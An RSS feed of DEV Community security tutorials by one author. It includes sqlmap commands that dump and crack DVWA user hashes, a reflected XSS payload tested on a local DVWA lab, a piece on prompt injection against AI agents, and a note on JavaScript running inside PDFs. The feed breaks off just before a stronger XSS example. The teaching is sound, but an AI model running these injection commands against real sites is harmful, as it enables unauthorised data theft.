<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Emin ÜZÜN</title>
    <description>The latest articles on DEV Community by Emin ÜZÜN (@emuzinun).</description>
    <link>https://dev.to/emuzinun</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4150915%2F96c016de-77f4-4db1-8b6a-21612bf9629c.jpg</url>
      <title>DEV Community: Emin ÜZÜN</title>
      <link>https://dev.to/emuzinun</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/emuzinun"/>
    <language>en</language>
    <item>
      <title>SQL Injection with SQLmap on Kali: From Login Form to Database</title>
      <dc:creator>Emin ÜZÜN</dc:creator>
      <pubDate>Wed, 21 Oct 2026 22:45:09 +0000</pubDate>
      <link>https://dev.to/emuzinun/sql-injection-with-sqlmap-on-kali-from-login-form-to-database-48lp</link>
      <guid>https://dev.to/emuzinun/sql-injection-with-sqlmap-on-kali-from-login-form-to-database-48lp</guid>
      <description>&lt;p&gt;The &lt;strong&gt;Sqlmap&lt;/strong&gt; tool is an &lt;strong&gt;open-source&lt;/strong&gt; tool that automates SQL injection testing.&lt;br&gt;
It can handle what's done manually with a few commands.&lt;/p&gt;

&lt;p&gt;SQL injection: simply put, if a web application sends the input it takes from the user straight to the database without filtering it, you can write SQL code there.&lt;br&gt;
It could be a login form, a search box, a URL parameter, etc.&lt;br&gt;
The application runs that code and the data in the database comes out.&lt;/p&gt;
&lt;h2&gt;
  
  
  Installing Docker and SQLmap
&lt;/h2&gt;

&lt;p&gt;You need to test against a vulnerable application you set up yourself, not a real system.&lt;br&gt;
For this we'll use &lt;strong&gt;DVWA (Damn Vulnerable Web Application)&lt;/strong&gt;.&lt;br&gt;
It runs with &lt;strong&gt;Docker&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Installation:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; docker.io
&lt;span class="nb"&gt;sudo &lt;/span&gt;service docker start
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Sqlmap:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;apt &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-y&lt;/span&gt; sqlmap
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;sqlmap already comes installed on &lt;strong&gt;Kali Linux&lt;/strong&gt;, but it's still worth running this to bring it up to the latest version.&lt;/p&gt;

&lt;h2&gt;
  
  
  Start DVWA
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 80:80 vulnerables/web-dvwa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The container comes up with a single command.&lt;/p&gt;

&lt;p&gt;From your browser, open&lt;br&gt;
&lt;a href="http://localhost/login.php" rel="noopener noreferrer"&gt;http://localhost/login.php&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's enter the login credentials as &lt;strong&gt;admin and password&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkekp07139go2hjuhpzm2.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fkekp07139go2hjuhpzm2.webp" alt="Logging in on the DVWA login screen with admin and password" width="451" height="407"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the setup page, click the &lt;strong&gt;Create - Reset Database&lt;/strong&gt; button.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbhbpms332lgxvv6ez8z0.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbhbpms332lgxvv6ez8z0.webp" alt="Creating the database on the DVWA setup page" width="800" height="973"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then log in again. Set the security level to &lt;strong&gt;Low&lt;/strong&gt; from the &lt;strong&gt;DVWA Security&lt;/strong&gt; menu.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnmn87lgbvrba12n23jdp.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fnmn87lgbvrba12n23jdp.webp" alt="Security level set to Low in the DVWA Security menu" width="800" height="791"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then go to the SQL injection page from the left menu.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmun9i85hp8p35orwwvq7.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fmun9i85hp8p35orwwvq7.webp" alt="DVWA SQL Injection page" width="800" height="769"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;sqlmap needs the &lt;strong&gt;session cookie&lt;/strong&gt; so it can act as if it's logged in to the application.&lt;/p&gt;

&lt;p&gt;Let's grab the &lt;strong&gt;PHPSESSID&lt;/strong&gt; value from &lt;strong&gt;F12 - Application - Cookies - localhost&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frz2a12tszegx8ldp30v3.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frz2a12tszegx8ldp30v3.webp" alt="PHPSESSID cookie value in the browser developer tools" width="800" height="737"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  List the Databases
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=XXX; security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--dbs&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2c4qqoqqg5w5ln3rtslu.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F2c4qqoqqg5w5ln3rtslu.webp" alt="Listing the databases with sqlmap --dbs" width="800" height="810"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;--dbs&lt;/strong&gt; lists the available databases.&lt;/p&gt;

&lt;p&gt;If the application is vulnerable, it returns dvwa and information_schema.&lt;/p&gt;

&lt;p&gt;Adding &lt;strong&gt;--batch&lt;/strong&gt; makes sqlmap proceed through the test without asking any questions.&lt;/p&gt;

&lt;p&gt;To see the tables:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=XXX; security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; dvwa &lt;span class="nt"&gt;--tables&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzipaz1p0lmkh2uctgg3s.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fzipaz1p0lmkh2uctgg3s.webp" alt="Tables in the dvwa database with sqlmap --tables" width="800" height="860"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The dvwa database shows the &lt;strong&gt;guestbook and users&lt;/strong&gt; tables.&lt;/p&gt;

&lt;p&gt;To dump the contents:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;sqlmap &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"http://localhost/vulnerabilities/sqli/?id=1&amp;amp;Submit=Submit"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--cookie&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"PHPSESSID=...; security=low"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-D&lt;/span&gt; dvwa &lt;span class="nt"&gt;-T&lt;/span&gt; &lt;span class="nb"&gt;users&lt;/span&gt; &lt;span class="nt"&gt;--dump&lt;/span&gt; &lt;span class="nt"&gt;--batch&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F47wk34r2u54jrl9f3js6.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F47wk34r2u54jrl9f3js6.webp" alt="Usernames and hashes in the users table with sqlmap --dump" width="800" height="723"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The usernames and MD5 hashes get dumped.&lt;br&gt;
sqlmap automatically tries to crack the hashes with a dictionary attack.&lt;br&gt;
Results like admin/password come back. If someone uses a common password, it finds it right away.&lt;/p&gt;

&lt;p&gt;You should only use it on systems you're authorized to test or that you set up yourself. That's what DVWA is for anyway.&lt;/p&gt;

&lt;p&gt;Sources:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://github.com/sqlmapproject/sqlmap
https://github.com/digininja/DVWA
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally written in Turkish on &lt;a href="https://eminuzun.com/blog/kalide-sqlmap-ile-sql-injection-login-formundan-veritabanina/" rel="noopener noreferrer"&gt;eminuzun.com&lt;/a&gt;. AI was used only for the translation.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>sql</category>
      <category>tutorial</category>
      <category>beginners</category>
    </item>
    <item>
      <title>From Prompt Injection to Data Leak: Agentic AI Risks</title>
      <dc:creator>Emin ÜZÜN</dc:creator>
      <pubDate>Wed, 21 Oct 2026 22:45:08 +0000</pubDate>
      <link>https://dev.to/emuzinun/from-prompt-injection-to-data-leak-agentic-ai-risks-3g5f</link>
      <guid>https://dev.to/emuzinun/from-prompt-injection-to-data-leak-agentic-ai-risks-3g5f</guid>
      <description>&lt;p&gt;When people talked about &lt;strong&gt;AI&lt;/strong&gt;, the focus in most places was on things like &lt;strong&gt;model quality, speed, context window&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;As of today, the topics being discussed have changed a bit.&lt;/p&gt;

&lt;p&gt;Now these are the questions being asked more often:&lt;br&gt;
What does it have access to? What can it do on its own? What information could it leak?&lt;/p&gt;

&lt;p&gt;This is exactly where what's called agentic AI comes in.&lt;br&gt;
It can read email. It can search for files inside a repo. It can check the calendar. It can make API calls.&lt;/p&gt;

&lt;p&gt;And this is where the risk begins.&lt;/p&gt;

&lt;p&gt;In the &lt;strong&gt;Global Cybersecurity Outlook 2026&lt;/strong&gt; report, 94 percent of respondents say AI will be the factor that changes cybersecurity the most throughout 2026.&lt;br&gt;
87 percent also say that AI-related vulnerabilities are among the fastest-growing risks.&lt;/p&gt;

&lt;p&gt;That's why it wouldn't be right to talk about &lt;strong&gt;agent security&lt;/strong&gt; as just a trend. Organizations are seeing a new attack surface.&lt;/p&gt;

&lt;p&gt;So what exactly is the problem?&lt;br&gt;
&lt;strong&gt;Prompt injection.&lt;/strong&gt;&lt;br&gt;
In other words, if a document, email or web content the model reads carries a malicious instruction, the agent processes it as if it were a harmless command.&lt;/p&gt;

&lt;p&gt;Then comes the &lt;strong&gt;data leak&lt;/strong&gt; issue. When data coming from the user and the system prompt get mixed together, sensitive information can leak out unintentionally.&lt;/p&gt;

&lt;p&gt;There's also the &lt;strong&gt;privilege&lt;/strong&gt; side. If you give file system and mail access to an agent that's only supposed to produce a summary, the chain gets unnecessarily long.&lt;br&gt;
And the longer it gets, the bigger the margin for error and the attack surface.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;OWASP Top 10 for Agentic Applications 2026&lt;/strong&gt; already names these separately.&lt;br&gt;
Headings like &lt;strong&gt;Tool Misuse, Agent Goal Hijack, Memory &amp;amp; Context Poisoning, Identity &amp;amp; Privilege Abuse&lt;/strong&gt; look a bit different from the classic web application.&lt;br&gt;
Because here the input isn't just the message the user types. An uploaded PDF is input too. JSON coming from an external tool is input too.&lt;/p&gt;

&lt;p&gt;If you see an AI agent, look at these three things first:&lt;br&gt;
&lt;strong&gt;What can it read? What can it execute? What can it send out?&lt;/strong&gt;&lt;br&gt;
The broader the answer, the bigger the risk.&lt;/p&gt;

&lt;p&gt;As for the defense side, these are the things to pay attention to:&lt;br&gt;
Least privilege.&lt;br&gt;
Logging.&lt;br&gt;
Human approval for critical operations.&lt;br&gt;
Monitoring tool calls separately.&lt;br&gt;
Running tests in places separate from real data.&lt;/p&gt;

&lt;p&gt;The model may be very smart, but a single API key connected to the wrong place can break everything.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/

https://reports.weforum.org/docs/WEF_Global_Cybersecurity_Outlook_2026.pdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally written in Turkish on &lt;a href="https://eminuzun.com/blog/prompt-injectiondan-data-leake-agentic-ai-riskleri/" rel="noopener noreferrer"&gt;eminuzun.com&lt;/a&gt;. AI was used only for the translation.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>llm</category>
      <category>agents</category>
    </item>
    <item>
      <title>Running Linux Inside a PDF: linuxpdf</title>
      <dc:creator>Emin ÜZÜN</dc:creator>
      <pubDate>Tue, 20 Oct 2026 01:22:10 +0000</pubDate>
      <link>https://dev.to/emuzinun/running-linux-inside-a-pdf-linuxpdf-2cl2</link>
      <guid>https://dev.to/emuzinun/running-linux-inside-a-pdf-linuxpdf-2cl2</guid>
      <description>&lt;p&gt;You open a PDF in your browser, there's a terminal inside, and you can run commands.&lt;/p&gt;

&lt;p&gt;Adobe's spec supports JavaScript execution.&lt;br&gt;
If the viewer implements it, JS code embedded in a PDF can run.&lt;br&gt;
So a PDF isn't just a document; it can actually be used as a runtime environment too.&lt;br&gt;
This feature has been actively used in PDF-based attacks for years.&lt;br&gt;
linuxpdf &lt;strong&gt;exploits&lt;/strong&gt; exactly this.&lt;/p&gt;

&lt;p&gt;Ading2210 compiled the &lt;strong&gt;Linux kernel&lt;/strong&gt; to &lt;strong&gt;WebAssembly&lt;/strong&gt; using Emscripten.&lt;br&gt;
The resulting &lt;strong&gt;WASM binary&lt;/strong&gt; is embedded inside the PDF.&lt;br&gt;
When the PDF opens, the JavaScript engine runs this WASM and you see a terminal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ls, cat, echo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Commands like these work.&lt;/p&gt;

&lt;p&gt;A real shell experience.&lt;/p&gt;

&lt;p&gt;Of course, it has its limitations too. &lt;strong&gt;Not every PDF viewer can open it&lt;/strong&gt; because not all of them support JS execution.&lt;br&gt;
&lt;strong&gt;Chrome&lt;/strong&gt;'s built-in viewer &lt;strong&gt;behaves in an isolated way&lt;/strong&gt; and its WASM support isn't complete.&lt;br&gt;
&lt;strong&gt;Chromium or Firefox&lt;/strong&gt; is recommended for the demo.&lt;/p&gt;

&lt;p&gt;There's also the performance issue. Every keystroke goes through the WASM runtime, so it can't be as fast as a real terminal.&lt;/p&gt;

&lt;p&gt;From a &lt;strong&gt;security&lt;/strong&gt; perspective, what the project demonstrates matters.&lt;br&gt;
PDFs being able to run JavaScript is an old risk, but once it reaches the level of "&lt;strong&gt;a full operating system can run inside this&lt;/strong&gt;", it looks different, of course.&lt;br&gt;
In practice, it can be a good reference point for thinking about how sophisticated a malicious PDF can get.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo216smyvt7x6o1pd9alf.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo216smyvt7x6o1pd9alf.webp" alt="Linux terminal running inside a PDF"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The project's source code is available on GitHub. The demo PDF opens in the browser without downloading.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Source:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://github.com/ading2210/linuxpdf
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Demo:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;https://linux.doompdf.dev/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;em&gt;Originally written in Turkish on &lt;a href="https://eminuzun.com/blog/pdf-icinde-linux-calistirmak-linuxpdf/" rel="noopener noreferrer"&gt;eminuzun.com&lt;/a&gt;. AI was used only for the translation.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>webassembly</category>
      <category>opensource</category>
      <category>javascript</category>
    </item>
    <item>
      <title>What Is XSS? The Basics and a Hands-On DVWA Demo</title>
      <dc:creator>Emin ÜZÜN</dc:creator>
      <pubDate>Tue, 20 Oct 2026 01:22:05 +0000</pubDate>
      <link>https://dev.to/emuzinun/what-is-xss-the-basics-and-a-hands-on-dvwa-demo-29fa</link>
      <guid>https://dev.to/emuzinun/what-is-xss-the-basics-and-a-hands-on-dvwa-demo-29fa</guid>
      <description>&lt;p&gt;You type your name into a website, but instead of normal text you leave a small piece of code in that box.&lt;/p&gt;

&lt;p&gt;The site doesn't notice. It prints it to the page as is. Then whoever opens that page, the code you left runs in their browser.&lt;/p&gt;

&lt;p&gt;That's XSS, in short and in its simplest form.&lt;/p&gt;

&lt;p&gt;It stands for Cross-Site Scripting.&lt;/p&gt;

&lt;p&gt;Put simply, it's a flaw that comes from a site printing user input to the screen without checking it.&lt;/p&gt;

&lt;p&gt;The attacker slips their own JavaScript in, and that code runs in someone else's browser.&lt;/p&gt;

&lt;p&gt;Why is it dangerous? Because that code can do pretty much anything. The classic scenario is stealing the user's session, in other words their cookie. A cookie is a small piece of data that tells the site "this person is already logged in." If it gets stolen, the attacker can get into your account.&lt;/p&gt;

&lt;p&gt;There are three main types.&lt;/p&gt;

&lt;p&gt;The first is &lt;strong&gt;reflected XSS.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The malicious code is sent through a link and reflected back on the page. It isn't persistent; the user has to click the link.&lt;/p&gt;

&lt;p&gt;The second is &lt;strong&gt;stored XSS.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here the code gets saved in the site's database, in a comment field for example. It runs for everyone who opens the page. The user doesn't click anything; opening the page is enough. That's why stored is usually considered more dangerous.&lt;/p&gt;

&lt;p&gt;The third is &lt;strong&gt;DOM-based.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This one is a bit different because the code never reaches the server. The page updates itself with JavaScript that's already running in your browser, for example by taking a value from the address bar and printing it to the page. When the attacker fills that value with malicious code, everything still happens in the browser and the server doesn't even know about it. In reflected and stored, the code comes back from the server; in DOM-based, it stays in the browser from start to finish.&lt;/p&gt;

&lt;p&gt;We'll see reflected and stored live, because showing the two side by side is the clearest way to explain the difference between the types.&lt;/p&gt;

&lt;p&gt;There's an app called DVWA. &lt;strong&gt;Damn Vulnerable Web Application&lt;/strong&gt; is a training app that's left vulnerable on purpose. It runs on your own computer, so you're not touching a real site. We log in as the admin user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu17z805fttwc4zbtsagj.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fu17z805fttwc4zbtsagj.webp" alt="DVWA login screen" width="666" height="445"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Inside, you can also set the security level. We pick "low" because there's no filtering at all there, which shows the flaw in its clearest form.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Faeezs8j2wj9ak1rz389k.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Faeezs8j2wj9ak1rz389k.webp" alt="DVWA security level set to low" width="800" height="694"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's start with reflected. The DVWA menu has an "XSS (Reflected)" page. There's a box on the screen that says "What's your name?" Normally you type your name and the site says "Hello CWSpeciaL."&lt;/p&gt;

&lt;p&gt;Instead of a name, we type this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhg5c0abtrgwxcawj8vwr.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhg5c0abtrgwxcawj8vwr.webp" alt="Entering the reflected payload" width="800" height="476"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The site doesn't check whether this text is dangerous. It prints it to the page. The browser sees it as code, not text, and runs it. A small alert box pops up on the screen.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5xrgzijod63qxjtn98go.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5xrgzijod63qxjtn98go.webp" alt="The reflected alert ran" width="478" height="207"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That box means "code can be injected here." Why does it work? Look at the page source and you'll see it. The script tag we typed is embedded in the page's HTML exactly as we wrote it.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9s8nm71vmpgo8sezjuer.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F9s8nm71vmpgo8sezjuer.webp" alt="The script embedded in the HTML source" width="429" height="191"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The alert is harmless; it's just proof. But real malicious code could go in the same place. Say we type this into the name box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
